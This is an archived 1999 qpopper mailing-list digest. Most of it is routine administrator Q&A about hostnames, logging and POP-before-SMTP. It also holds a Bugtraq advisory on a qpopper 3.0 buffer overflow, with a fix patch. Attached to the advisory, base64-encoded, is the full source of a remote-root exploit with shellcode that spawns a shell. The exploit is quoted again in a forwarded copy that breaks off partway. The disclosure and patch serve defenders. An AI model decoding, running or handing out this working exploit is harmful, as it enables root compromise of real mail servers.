The qpopper list archive ending on 3 Dec 1999
Topics covered in this issue include:
1. Re: Canonical Address
Jeff Beardsley <jkb at rts dot com>
Mon, 29 Nov 1999 12:50:18 -0600 (CST)
2. Re: Canonical Address
Leonard Hermens <Leonard.Hermens at rcity dot com>
Mon, 29 Nov 1999 11:05:58 -0800
3. Re: Canonical Address
Alan Brown <alan at manawatu.gen dot nz>
Tue, 30 Nov 1999 14:37:30 +1300 (NZDT)
4. serious Qpopper 3.0 vulnerability
Mixter <mixter at NEWYORKOFFICE dot COM>
Tue, 30 Nov 1999 01:53:11 +0100
5. [mixter at NEWYORKOFFICE dot COM: serious Qpopper 3.0 vulnerability]
Gael Martinez <mgc at mgc.spacestar dot net>
Tue, 30 Nov 1999 11:52:37 -0600
6. Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
Qpopper Support <qpopper at qualcomm dot com>
Tue, 30 Nov 1999 18:48:46 -0800
7. Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
Tomasz Orzechowski <tmo at apk dot net>
Tue, 30 Nov 1999 22:21:08 -0500
8. Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
Tomasz Orzechowski <tmo at apk dot net>
Tue, 30 Nov 1999 22:21:43 -0500
9. Re: serious Qpopper 3.0 vulnerability
Elgin Lee <ehl at funghi dot com>
Tue, 30 Nov 1999 12:28:15 -0800
10. Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
Qpopper Support <qpopper at qualcomm dot com>
Tue, 30 Nov 1999 21:32:29 -0800
11. Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
Elgin Lee <ehl at funghi dot com>
Tue, 30 Nov 1999 22:11:15 -0800 (PST)
12. How to change banner message of qpopper
Balgansuren <balgaa at mtcone dot net>
Wed, 1 Dec 1999 16:39:22 +0800 (CST)
13. Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
Qpopper Support <qpopper at qualcomm dot com>
Wed, 1 Dec 1999 09:14:19 -0800
14. Re: How to change banner message of qpopper
Qpopper Support <qpopper at qualcomm dot com>
Wed, 1 Dec 1999 09:17:17 -0800
15. Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
Gael Martinez <mgc at mgc.spacestar dot net>
Wed, 1 Dec 1999 11:28:44 -0600
16. Re: Qpopper 3.0b21 available *FIXES BUFFER OVERRUN*
Elgin Lee <ehl at funghi dot com>
Wed, 1 Dec 1999 09:49:25 -0800 (PST)
17. [lucid at TERRA.NEBULA dot ORG: qpop3.0b20 and below - notes and exploit]
Elgin Lee <ehl at funghi dot com>
Wed, 1 Dec 1999 09:57:09 -0800
18. Buffer Overflow Bug
RTS <rts at rdr dot net>
Wed, 01 Dec 1999 12:29:48 -0600
19. rh-6.x and qpopper 3b2X
Tomasz Orzechowski <tmo at apk dot net>
Wed, 1 Dec 1999 14:22:50 -0500
20. reason for "-ERR POP EOF received"
Dominik Brettnacher <domi at saargate dot de>
Wed, 1 Dec 1999 20:25:01 +0100 (CET)
21. Re: rh-6.x and qpopper 3b2X
"Igor S. Livshits" <igorl at life.uiuc dot edu>
Wed, 1 Dec 1999 13:34:47 -0600
22. Re: rh-6.x and qpopper 3b2X
Tomasz Orzechowski <tmo at apk dot net>
Wed, 1 Dec 1999 14:42:07 -0500
23. stats in SYSLOG
Reese <reese at oneserv.onecolor dot com>
Wed, 01 Dec 1999 11:57:34 -0800
24. Re: stats in SYSLOG
"Adrian Harris" <harrisa at reading-college.ac dot uk>
Wed, 1 Dec 1999 20:40:22 -0000
25. Re: # of POP-3 accesses (was : Re: Virtual Domains)
Kelly Peterson <kellyp at interbaun dot com>
Wed, 01 Dec 1999 13:48:13 -0700
26. qpopper logs
Dave Thacker <dthacker at omnihotels dot com>
Wed, 1 Dec 1999 15:01:05 -0600
27. Re: # of POP-3 accesses (was : Re: Virtual Domains)
"Jeremy C. Reed" <reed at wcug.wwu dot edu>
Wed, 1 Dec 1999 13:49:27 -0800 (PST)
28. Qpopper 3.0b22 available *FIXES BUFFER OVERRUN*
Qpopper Support <qpopper at qualcomm dot com>
Wed, 1 Dec 1999 15:54:36 -0800
29. Re: rh-6.x and qpopper 3b2X
Qpopper Support <qpopper at qualcomm dot com>
Wed, 1 Dec 1999 15:57:45 -0800
30. Re: rh-6.x and qpopper 3b2X
Tomasz Orzechowski <tmo at apk dot net>
Wed, 1 Dec 1999 19:35:03 -0500
31. Re: rh-6.x and qpopper 3b2X
Tomasz Orzechowski <tmo at apk dot net>
Wed, 1 Dec 1999 19:48:22 -0500
32. Compile error with b21 and b22.
Garlic <garlic at garlic dot com>
Wed, 01 Dec 1999 17:00:08 -0800
33. Re: rh-6.x and qpopper 3b2X
Qpopper Support <qpopper at qualcomm dot com>
Wed, 1 Dec 1999 17:16:57 -0800
34. Qpopper 3.0b22 and PAM patch?
Jonathan Benson <sysadmin at ocean.com dot au>
Thu, 02 Dec 1999 13:07:49 +1100
35. hoping for help with a pop daemon
Jennifer Luisi <jlui at troi.cc.rochester dot edu>
Thu, 2 Dec 1999 10:23:41 -0500 (EST)
36. Re: hoping for help with a pop daemon
"Jeremy C. Reed" <reed at wcug.wwu dot edu>
Thu, 2 Dec 1999 08:31:55 -0800 (PST)
37. POP-before-SMTP
Julien Nadeau <julien at csoft dot net>
Thu, 02 Dec 1999 10:04:15 -0400
38. Re: POP-before-SMTP
"A. M. Salim" <salim at localweb dot com>
Thu, 2 Dec 1999 13:31:38 -0500 (EST)
39. Re: POP-before-SMTP
Randall Gellens <randy at qualcomm dot com>
Thu, 2 Dec 1999 11:34:53 -0800
40.
"Jack Barnett" <jbarnett at axil.netmate dot com>
Thu, 2 Dec 1999 14:46:46 -0600
41. Re: POP-before-SMTP
Julien Nadeau <julien at csoft dot net>
Thu, 02 Dec 1999 12:59:16 -0400
42.
"Dan Harkless" <dan-qpopper at dilvish.speed dot net>
Thu, 02 Dec 1999 13:16:21 -0800
43. X windows Gui
"Sandy Knight" <sandy at mail.crazycon dot com>
Thu, 2 Dec 1999 13:40:16 -0800
44. Re: X windows Gui
"Christopher L. Davis" <cld at prin dot edu>
Thu, 02 Dec 1999 15:45:39 -0600
45. Re: POP-before-SMTP
Mike Diehn <mdiehn at vicinity dot com>
Thu, 2 Dec 1999 21:29:23 -0500
46. Re: POP-before-SMTP
Alan Brown <alan at manawatu.gen dot nz>
Fri, 3 Dec 1999 15:50:33 +1300 (NZDT)
47. Re: Qpopper 3.0b22 and PAM patch?
Jonathan Benson <sysadmin at ocean.com dot au>
Fri, 03 Dec 1999 14:43:46 +1100
48. Re: POP-before-SMTP
Tomasz Orzechowski <tmo at apk dot net>
Fri, 3 Dec 1999 04:39:35 -0500
49. Re: POP-before-SMTP
Forrest Aldrich <forrie at forrie dot com>
Fri, 03 Dec 1999 04:44:46 -0500
50. More on canonical
Steve Lincoln <slinco01 at studentweb.providence dot edu>
Fri, 3 Dec 1999 14:06:19 -0500 (EST)
Date: Mon, 29 Nov 1999 12:50:18 -0600 (CST)
From: Jeff Beardsley <jkb at rts dot com>
Subject: Re: Canonical Address
I had a similar problem when I upgraded to the latest Sendmail on my
Solaris server. According to Sun, the latest sendmail needs to use a
canonical name for the host.
The problem was solved by adding an canonical alias to the hosts file.
For example, if your main host name is "myhost" and your domain name is
"mycompany.com", you will have en entry in your hosts file similar to:
"ip-address myhost". Change that line to add the alias, such as:
"ip-address myhost myhost.mycompany.com".
Restart sendmail and the problem goes away.
Hope this helps.
Jeff Beardsley.
On Wed, 24 Nov 1999, Steve Lincoln wrote:
> Greetings all,
>
> I am wondering about the canonical problem. Currently my red hat 6.0
> message log is chock full of the same message, "unable to get canonical
> name of client". Now having read througth the faq I am aware it has to do
> with the reverse look up of dns names. However this error occuring every
> two minutes in the system log is rather distrubign and annoying to me.
> Any help as to how to fix the lookp problem or to stop the messages?
> Cheers,
> Steve
>
>
>
Date: Mon, 29 Nov 1999 11:05:58 -0800
From: Leonard Hermens <Leonard.Hermens at rcity dot com>
Subject: Re: Canonical Address
Hi Jeff,
That certainly is an issue, but the canonical name to which qpopper
refers is that of the client, not the server. A reverse DNS entry
(PTR) or a suitable host table entry (if DNS can't be done for some
reason) for the client will solve the problem.
-- Leonard
At 12:50 PM -0600 11/29/99, Jeff Beardsley wrote:
>I had a similar problem when I upgraded to the latest Sendmail on my
>Solaris server. According to Sun, the latest sendmail needs to use a
>canonical name for the host.
>
>The problem was solved by adding an canonical alias to the hosts file.
>For example, if your main host name is "myhost" and your domain name is
>"mycompany.com", you will have en entry in your hosts file similar to:
>"ip-address myhost". Change that line to add the alias, such as:
>"ip-address myhost myhost.mycompany.com".
>
>Restart sendmail and the problem goes away.
>
>Hope this helps.
>
>Jeff Beardsley.
>
>On Wed, 24 Nov 1999, Steve Lincoln wrote:
>
> > Greetings all,
> >
> > I am wondering about the canonical problem. Currently my red hat 6.0
> > message log is chock full of the same message, "unable to get canonical
> > name of client". Now having read througth the faq I am aware it has to do
> > with the reverse look up of dns names. However this error occuring every
> > two minutes in the system log is rather distrubign and annoying to me.
> > Any help as to how to fix the lookp problem or to stop the messages?
> > Cheers,
> > Steve
> >
> >
> >
Date: Tue, 30 Nov 1999 14:37:30 +1300 (NZDT)
From: Alan Brown <alan at manawatu.gen dot nz>
Subject: Re: Canonical Address
On Mon, 29 Nov 1999, Jeff Beardsley wrote:
> The problem was solved by adding an canonical alias to the hosts file.
> For example, if your main host name is "myhost" and your domain name is
> "mycompany.com", you will have en entry in your hosts file similar to:
> "ip-address myhost". Change that line to add the alias, such as:
> "ip-address myhost myhost.mycompany.com".
Canonical names should always come first in /etc/hosts
So that should read:
127.0.0.1 localhost
x.x.x.x myhost.example.com myhost
_never_ define the world IP as "localhost", or the canonical name as
127.0.0.1. This will cause all sorts of problems with various software.
AB
Date: Tue, 30 Nov 1999 01:53:11 +0100
From: Mixter <mixter at NEWYORKOFFICE dot COM>
Subject: serious Qpopper 3.0 vulnerability
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime at docserver.cac.washington dot edu for more info.
--8323328-493565404-943922963=:6421
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.LNX.4.04.9911300152181.6421 at aviation dot net>
Greetings,
There is a remote buffer overflow in the qpop 3.0 server code
that can lead to remote root compromise. Exploit attached.
Vulnerable versions are all versions of qpop 3.0b,
affected operating systems are _all_ systems that run it.
Versions 2.52 and 2.53 do not contain this bug.
The latest version available is 3.0b20, which is vulnerable,
along with all previous 3.0 versions.
I advise everyone running qpop3.0b servers to shut down the server
IMMEDIATELY by disabling the entry in inetd.conf and then downgrading
to v2.53 or another program until an official patch has been released.
Details: The buffer overflow(s) are present in pop_msg.c (sounds familiar..)
starting at line 68. All configurations and different builds seem to be
vulnerable, as either vsprintf or sprintf are used, which both do not check
bounds on the input buffers for each argument.
Exploiting: The overflow code should not contain characters 0x0c/x17/x20,
because it would get interpreted as more than one argument and hence fail.
Patching: I included a small patch. You should only use inofficial patches
if you totally need to use version 3.0, otherwise downgrade and wait for a
patch from Qualcomm. IF you patch this by yourself, please consider that
the buffer pointer CHANGES and the buffer is about 30 bytes LESS than the
defined MAXLINELEN!!
PS: The installation file suggests to run qpopper without tcpd, e.g.:
pop3 stream tcp nowait root /usr/local/lib/qpopper qpopper -s
I would NOT suggest doing it that way. Use:
pop3 stream tcp nowait root /usr/sbin/tcpd qpopper -s
instead. At least for me it works behind a tcp wrapper, and that way,
you can use access control and every connection _attempt_ gets logged.
Mixter
________________________
mixter at newyorkoffice dot com
members.tripod.com/mixtersecurity
--8323328-493565404-943922963=:6421
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="q3smash.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.04.9911300149230.6421 at aviation dot net>
Content-Description:
Content-Disposition: ATTACHMENT; FILENAME="q3smash.c"
LyoNCiAqIFFwb3BwZXIgMy4wYiByZW1vdGUgZXhwbG9pdCBmb3IgeDg2IExp
bnV4ICh0ZXN0ZWQgb24gUmVkSGF0LzIuMC4zOCkNCiAqDQogKiBEZWMgMTk5
OSBieSBNaXh0ZXIgPG1peHRlckBuZXd5b3Jrb2ZmaWNlLmNvbT4gLyBodHRw
Oi8vMTMzNy50c3gub3JnDQogKg0KICogRXhwbG9pdHMgcG9wX21zZyBidWZm
ZXIgb3ZlcmZsb3cgdG8gc3Bhd24gYSByZW1vdGUgcm9vdCBzaGVsbC4NCiAq
IFRoaXMgcHJvYmFibHkgd29ya3Mgd2l0aCB0aGUgb2xkIHFwb3AyIGNvZGUg
Zm9yIGJzZCwgc29sYXJpcyBhbnlvbmU/DQogKiANCiAqIFdBUk5JTkc6IFlP
VSBBUkUgVVNJTkcgVEhJUyBTT0ZUV0FSRSBPTiBZT1VSIE9XTiBSSVNLLiBU
SElTIElTIEENCiAqIFBST09GLU9GLUNPTkNFUFQgUFJPR1JBTSBBTkQgWU9V
IFRBS0UgRlVMTCBSRVNQT05TSUJJTElUWSBGT1IgV0hBVCBZT1UNCiAqIERP
IFdJVEggSVQhIERPIE5PVCBBQlVTRSBUSElTIEZPUiBJTExJQ0lUIFBVUlBP
U0VTIQ0KICovDQoNCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0
cmluZy5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN0ZGxp
Yi5oPg0KI2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9z
b2NrZXQuaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+DQojaW5jbHVkZSA8
YXJwYS9pbmV0Lmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxl
cnJuby5oPg0KDQojZGVmaW5lIE5PUAkJMHg5MA0KI2RlZmluZSBMRU4JCTEw
MzINCiNkZWZpbmUgQ09ERVNUQVJUCTg4MA0KI2RlZmluZSBSRVQJCTB4YmZm
ZmQ2NTUNCg0KLyogeDg2IGxpbnV4IHNoZWxsY29kZS4gdGhpcyBjYW4gYmUg
YSBzaW1wbGUgZXhlY3ZlIHRvIC9iaW4vc2ggb24gYWxsDQogICBzeXN0ZW1z
LCBidXQgTVVTVCBOT1QgY29udGFpbiB0aGUgY2hhcmFjdGVycyAneDE3JyBv
ciAneDBjJyBiZWNhdXNlDQogICB0aGF0IHdvdWxkIHNwbGl0IHRoZSBleHBs
b2l0IGNvZGUgaW50byBzZXBhcmF0ZSBhcmcgYnVmZmVycyAgICAgICAgKi8N
Cg0KY2hhciAqc2hlbGxjb2RlID0NCiJceGViXHgyMlx4NWVceDg5XHhmM1x4
ODlceGY3XHg4M1x4YzdceDA3XHgzMVx4YzBceGFhXHg4OVx4ZjlceDg5XHhm
MFx4YWIiDQoiXHg4OVx4ZmFceDMxXHhjMFx4YWJceGIwXHgwNFx4MDRceDA3
XHhjZFx4ODBceDMxXHhjMFx4ODlceGMzXHg0MFx4Y2RceDgwIg0KIlx4ZThc
eGQ5XHhmZlx4ZmZceGZmL2Jpbi9zaCI7DQoNCnVuc2lnbmVkIGxvbmcgcmVz
b2x2ZSAoY2hhciAqKTsNCnZvaWQgdGVybSAoaW50LCBpbnQpOw0KdW5zaWdu
ZWQgbG9uZyBnZXRfc3AgKCk7DQoNCmludCANCm1haW4gKGludCBhcmdjLCBj
aGFyICoqYXJndikNCnsNCiAgY2hhciBidWZmZXJbTEVOXTsNCiAgY2hhciAq
Y29kZXB0ciA9IHNoZWxsY29kZTsNCiAgbG9uZyByZXRhZGRyID0gUkVUOw0K
ICBpbnQgaSwgczsNCiAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCg0KICBp
ZiAoYXJnYyA8IDIpDQogICAgew0KICAgICAgcHJpbnRmICgidXNhZ2U6ICVz
IDxob3N0PiBbb2Zmc2V0XVxuIiwgYXJndlswXSk7DQogICAgICBwcmludGYg
KCJ1c2Ugb2Zmc2V0IC0xIHRvIHRyeSBsb2NhbCBlc3BcbiIpOw0KICAgICAg
ZXhpdCAoMCk7DQogICAgfQ0KDQogIGlmIChhcmdjID4gMikNCiAgICB7DQog
ICAgICBpZiAoYXRvaSAoYXJndlsyXSkgPT0gLTEpDQoJew0KCSAgLyogODAw
MCA9IGFwcHJveC4gYnl0ZSBvZmZzZXQgdG8gcXBvcHBlcidzIHRvcCBvZiBz
dGFjaw0KCSAgICAgYXQgdGhlIHRpbWUgaXQgcHJpbnRzIG91dCB0aGUgYXV0
aCBlcnJvciBtZXNzYWdlICovDQoJICByZXRhZGRyID0gZ2V0X3NwICgpIC0g
ODAwMCAtIExFTjsNCgkgIHByaW50ZiAoIlVzaW5nIGxvY2FsIGVzcCBhcyBy
ZXQgYWRkcmVzcy4uLlxuIik7DQoJfQ0KICAgICAgcmV0YWRkciArPSBhdG9p
IChhcmd2WzJdKTsNCiAgICB9DQoNCiAgZm9yIChpID0gMDsgaSA8IExFTjsg
aSsrKQ0KICAgICooYnVmZmVyICsgaSkgPSBOT1A7DQoNCiAgZm9yIChpID0g
Q09ERVNUQVJUICsgMjsgaSA8IExFTjsgaSArPSA0KQ0KICAgICooaW50ICop
ICZidWZmZXJbaV0gPSByZXRhZGRyOw0KDQogIGZvciAoaSA9IENPREVTVEFS
VDsgaSA8IENPREVTVEFSVCArIHN0cmxlbiAoc2hlbGxjb2RlKTsgaSsrKQ0K
ICAgICooYnVmZmVyICsgaSkgPSAqKGNvZGVwdHIrKyk7DQoNCiAgYnVmZmVy
WzBdID0gJ0EnOw0KICBidWZmZXJbMV0gPSAnVSc7DQogIGJ1ZmZlclsyXSA9
ICdUJzsNCiAgYnVmZmVyWzNdID0gJ0gnOw0KICBidWZmZXJbNF0gPSAnICc7
DQoNCiAgcHJpbnRmICgicXBvcCAzLjAgcmVtb3RlIHJvb3QgZXhwbG9pdCAo
bGludXgpIGJ5IE1peHRlclxuIik7DQogIHByaW50ZiAoIltyZXR1cm4gYWRk
cmVzczogMHglbHggYnVmZmVyIHNpemU6ICVkIGNvZGUgc2l6ZTogJWRdXG4i
LA0KCSAgcmV0YWRkciwgc3RybGVuIChidWZmZXIpLCBzdHJsZW4gKHNoZWxs
Y29kZSkpOw0KDQogIGZmbHVzaCAoMCk7DQoNCiAgc2luLnNpbl9mYW1pbHkg
PSBBRl9JTkVUOw0KICBzaW4uc2luX3BvcnQgPSBodG9ucyAoMTEwKTsNCiAg
c2luLnNpbl9hZGRyLnNfYWRkciA9IHJlc29sdmUgKGFyZ3ZbMV0pOw0KICBz
ID0gc29ja2V0IChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCk7DQoNCiAgaWYg
KGNvbm5lY3QgKHMsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9m
IChzdHJ1Y3Qgc29ja2FkZHIpKSA8IDApDQogICAgew0KICAgICAgcGVycm9y
ICgiY29ubmVjdCIpOw0KICAgICAgZXhpdCAoMCk7DQogICAgfQ0KDQogIHN3
aXRjaCAod3JpdGUgKHMsIGJ1ZmZlciwgc3RybGVuIChidWZmZXIpKSkNCiAg
ICB7DQogICAgY2FzZSAwOg0KICAgIGNhc2UgLTE6DQogICAgICBmcHJpbnRm
IChzdGRlcnIsICJ3cml0ZSBlcnJvcjogJXNcbiIsIHN0cmVycm9yIChlcnJu
bykpOw0KICAgICAgYnJlYWs7DQogICAgZGVmYXVsdDoNCiAgICAgIGJyZWFr
Ow0KICAgIH0NCiAgd3JpdGUgKHMsICJcblxuIiwgMSk7DQogIHRlcm0gKHMs
IDApOw0KDQogIHJldHVybiAwOw0KfQ0KDQp1bnNpZ25lZCBsb25nDQpyZXNv
bHZlIChjaGFyICpob3N0KQ0Kew0KICBzdHJ1Y3QgaG9zdGVudCAqaGU7DQog
IHN0cnVjdCBzb2NrYWRkcl9pbiB0bXA7DQogIGlmIChpbmV0X2FkZHIgKGhv
c3QpICE9IC0xKQ0KICAgIHJldHVybiAoaW5ldF9hZGRyIChob3N0KSk7DQog
IGhlID0gZ2V0aG9zdGJ5bmFtZSAoaG9zdCk7DQogIGlmIChoZSkNCiAgICBt
ZW1jcHkgKChjYWRkcl90KSAmIHRtcC5zaW5fYWRkci5zX2FkZHIsIGhlLT5o
X2FkZHIsIGhlLT5oX2xlbmd0aCk7DQogIGVsc2UNCiAgICB7DQogICAgICBw
ZXJyb3IgKCJnZXRob3N0YnluYW1lIik7DQogICAgICBleGl0ICgwKTsNCiAg
ICB9DQogIHJldHVybiAodG1wLnNpbl9hZGRyLnNfYWRkcik7DQp9DQoNCnVu
c2lnbmVkIGxvbmcNCmdldF9zcCAodm9pZCkNCnsNCiAgX19hc21fXyAoIm1v
dmwgJWVzcCwgJWVheCIpOw0KfQ0KDQp2b2lkDQp0ZXJtIChpbnQgcCwgaW50
IGMpDQp7DQogIGNoYXIgYnVmW0xFTl07DQogIGZkX3NldCByZmRzOw0KICBp
bnQgaTsNCg0KICB3aGlsZSAoMSkNCiAgICB7DQogICAgICBGRF9aRVJPICgm
cmZkcyk7DQogICAgICBGRF9TRVQgKHAsICZyZmRzKTsNCiAgICAgIEZEX1NF
VCAoYywgJnJmZHMpOw0KICAgICAgaWYgKHNlbGVjdCAoKHAgPiBjID8gcCA6
IGMpICsgMSwgJnJmZHMsIE5VTEwsIE5VTEwsIE5VTEwpIDwgMSkNCglyZXR1
cm47DQogICAgICBpZiAoRkRfSVNTRVQgKGMsICZyZmRzKSkNCgl7DQoJICBp
ZiAoKGkgPSByZWFkIChjLCBidWYsIHNpemVvZiAoYnVmKSkpIDwgMSkNCgkg
ICAgZXhpdCAoMCk7DQoJICBlbHNlDQoJICAgIHdyaXRlIChwLCBidWYsIGkp
Ow0KCX0NCiAgICAgIGlmIChGRF9JU1NFVCAocCwgJnJmZHMpKQ0KCXsNCgkg
IGlmICgoaSA9IHJlYWQgKHAsIGJ1Ziwgc2l6ZW9mIChidWYpKSkgPCAxKQ0K
CSAgICBleGl0ICgwKTsNCgkgIGVsc2UNCgkgICAgd3JpdGUgKGMsIGJ1Ziwg
aSk7DQoJfQ0KICAgIH0NCn0NCg==
--8323328-493565404-943922963=:6421
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="qp3b20.patch"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.04.9911300149231.6421 at aviation dot net>
Content-Description:
Content-Disposition: ATTACHMENT; FILENAME="qp3b20.patch"
IyBhcHBseSB0aGlzIGluIHRoZSBxcG9wcGVyMy4wYjIwL3BvcHBlci8gZGly
ZWN0b3J5IHdpdGggcGF0Y2ggPCBxcDNiMjAucGF0Y2gNCi0tLSBwb3BfbXNn
LmMub2xkCU1vbiBOb3YgMjkgMjM6NDI6MDMgMTk5OQ0KKysrIHBvcF9tc2cu
YwlNb24gTm92IDI5IDIzOjUyOjA4IDE5OTkNCkBAIC02NSw3ICs2NSw3IEBA
DQogICAgIC8qICBBcHBlbmQgdGhlIG1lc3NhZ2UgKGZvcm1hdHRlZCwgaWYg
bmVjZXNzYXJ5KSAqLw0KICAgICBpZiAoZm9ybWF0KSB7DQogI2lmZGVmIEhB
VkVfVlBSSU5URg0KLSAgICAgICAgdnNwcmludGYobXAsZm9ybWF0LGFwKTsN
CisgICAgICAgIHZzbnByaW50ZihtcCxNQVhMSU5FTEVOIC0gMTAwLCBmb3Jt
YXQsYXApOw0KICNlbHNlDQogIyBpZmRlZiBQWVJBTUlEDQogCWFyZzEgPSB2
YV9hcmcoYXAsIGNoYXIgKik7DQpAQCAtNzQsOSArNzQsOSBAQA0KIAlhcmc0
ID0gdmFfYXJnKGFwLCBjaGFyICopOw0KIAlhcmc1ID0gdmFfYXJnKGFwLCBj
aGFyICopOw0KIAlhcmc2ID0gdmFfYXJnKGFwLCBjaGFyICopOw0KLSAgICAg
ICAgKHZvaWQpc3ByaW50ZihtcCxmb3JtYXQsIGFyZzEsIGFyZzIsIGFyZzMs
IGFyZzQsIGFyZzUsIGFyZzYpOw0KKyAgICAgICAgKHZvaWQpc3ByaW50Ziht
cCxNQVhMSU5FTEVOIC0gMTAwLCBmb3JtYXQsIGFyZzEsIGFyZzIsIGFyZzMs
IGFyZzQsIGFyZzUsIGFyZzYpOw0KICMgZWxzZQ0KLSAgICAgICAgKHZvaWQp
c3ByaW50ZihtcCxmb3JtYXQsKChpbnQgKilhcClbMF0sKChpbnQgKilhcClb
MV0sKChpbnQgKilhcClbMl0sDQorICAgICAgICAodm9pZClzcHJpbnRmKG1w
LE1BWExJTkVMRU4gLSAxMDAsIGZvcm1hdCwoKGludCAqKWFwKVswXSwoKGlu
dCAqKWFwKVsxXSwoKGludCAqKWFwKVsyXSwNCiAJCSAgICAgICgoaW50ICop
YXApWzNdLCgoaW50ICopYXApWzRdKTsNCiAjIGVuZGlmDQogI2VuZGlmDQo=
--8323328-493565404-943922963=:6421--
Date: Tue, 30 Nov 1999 11:52:37 -0600
From: Gael Martinez <mgc at mgc.spacestar dot net>
Subject: [mixter at NEWYORKOFFICE dot COM: serious Qpopper 3.0 vulnerability]
--1yeeQ81UyVL57Vl7
Content-Type: text/plain; charset=us-ascii
--
Gael MARTINEZ
Spacestar Communications, Inc.
Dial-up to DS-3 Serving - MN WI ND MI IL
www.spacestar.net / Fax (612) 996-0123
--1yeeQ81UyVL57Vl7
Content-Type: message/rfc822
Return-Path: <owner-bugtraq at SECURITYFOCUS dot COM>
Delivered-To: mgc at mgc.spacestar dot net
Received: from lists.securityfocus.com (lists.securityfocus.com [207.126.127.68])
by mgc.spacestar.net (Postfix) with ESMTP id CB5312BFF9
for <mgc at MGC.SPACESTAR dot NET>; Tue, 30 Nov 1999 11:14:30 -0600 (CST)
Received: from lists.securityfocus.com (lists.securityfocus.com [207.126.127.68])
by lists.securityfocus.com (Postfix) with ESMTP
id F41A31F7B5; Tue, 30 Nov 1999 08:53:40 -0800 (PST)
Received: from LISTS.SECURITYFOCUS.COM by LISTS.SECURITYFOCUS.COM
(LISTSERV-TCP/IP release 1.8d) with spool id 474269 for
BUGTRAQ at LISTS.SECURITYFOCUS dot COM; Tue, 30 Nov 1999 08:52:44 -0800
Approved-By: aleph1 at SECURITYFOCUS dot COM
Delivered-To: bugtraq at lists.securityfocus dot com
Received: from securityfocus.com (securityfocus.com [207.126.127.66]) by
lists.securityfocus.com (Postfix) with SMTP id E60DB1EE8A for
<bugtraq at lists.securityfocus dot com>; Mon, 29 Nov 1999 16:51:53 -0800
(PST)
Received: (qmail 26359 invoked by alias); 30 Nov 1999 00:51:53 -0000
Delivered-To: BUGTRAQ at securityfocus dot com
Received: (qmail 26356 invoked from network); 30 Nov 1999 00:51:50 -0000
Received: from dial169.a-city.de (HELO aviation.net) (mixter at 62.208.46 dot 169) by
securityfocus.com with SMTP; 30 Nov 1999 00:51:50 -0000
Received: from localhost (mixter at localhost) by aviation.net (8.8.7/8 dot 8 dot 31337)
with ESMTP id BAA06744 for <BUGTRAQ at securityfocus dot com>; Tue, 30 Nov
1999 01:53:12 +0100
X-Authentication-Warning: aviation.net: mixter owned process doing -bs
X-Sender: mixter at aviation dot net
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-493565404-943922963=:6421"
Content-ID: <Pine.LNX.4.04.9911300152180.6421 at aviation dot net>
Message-ID: <Pine.LNX.4.04.9911300056540.6421-300000 at aviation dot net>
Date: Tue, 30 Nov 1999 01:53:11 +0100
Reply-To: Mixter <mixter at NEWYORKOFFICE dot COM>
Sender: Bugtraq List <BUGTRAQ at SECURITYFOCUS dot COM>
From: Mixter <mixter at NEWYORKOFFICE dot COM>
Subject: serious Qpopper 3.0 vulnerability
X-To: BUGTRAQ at securityfocus dot com
To: BUGTRAQ at SECURITYFOCUS dot COM
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime at docserver.cac.washington dot edu for more info.
--8323328-493565404-943922963=:6421
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.LNX.4.04.9911300152181.6421 at aviation dot net>
Greetings,
There is a remote buffer overflow in the qpop 3.0 server code
that can lead to remote root compromise. Exploit attached.
Vulnerable versions are all versions of qpop 3.0b,
affected operating systems are _all_ systems that run it.
Versions 2.52 and 2.53 do not contain this bug.
The latest version available is 3.0b20, which is vulnerable,
along with all previous 3.0 versions.
I advise everyone running qpop3.0b servers to shut down the server
IMMEDIATELY by disabling the entry in inetd.conf and then downgrading
to v2.53 or another program until an official patch has been released.
Details: The buffer overflow(s) are present in pop_msg.c (sounds familiar..)
starting at line 68. All configurations and different builds seem to be
vulnerable, as either vsprintf or sprintf are used, which both do not check
bounds on the input buffers for each argument.
Exploiting: The overflow code should not contain characters 0x0c/x17/x20,
because it would get interpreted as more than one argument and hence fail.
Patching: I included a small patch. You should only use inofficial patches
if you totally need to use version 3.0, otherwise downgrade and wait for a
patch from Qualcomm. IF you patch this by yourself, please consider that
the buffer pointer CHANGES and the buffer is about 30 bytes LESS than the
defined MAXLINELEN!!
PS: The installation file suggests to run qpopper without tcpd, e.g.:
pop3 stream tcp nowait root /usr/local/lib/qpopper qpopper -s
I would NOT suggest doing it that way. Use:
pop3 stream tcp nowait root /usr/sbin/tcpd qpopper -s
instead. At least for me it works behind a tcp wrapper, and that way,
you can use access control and every connection _attempt_ gets logged.
Mixter
________________________
mixter at newyorkoffice dot com
members.tripod.com/mixtersecurity
--8323328-493565404-943922963=:6421
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="q3smash.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.04.9911300149230.6421 at aviation dot net>
Content-Description:
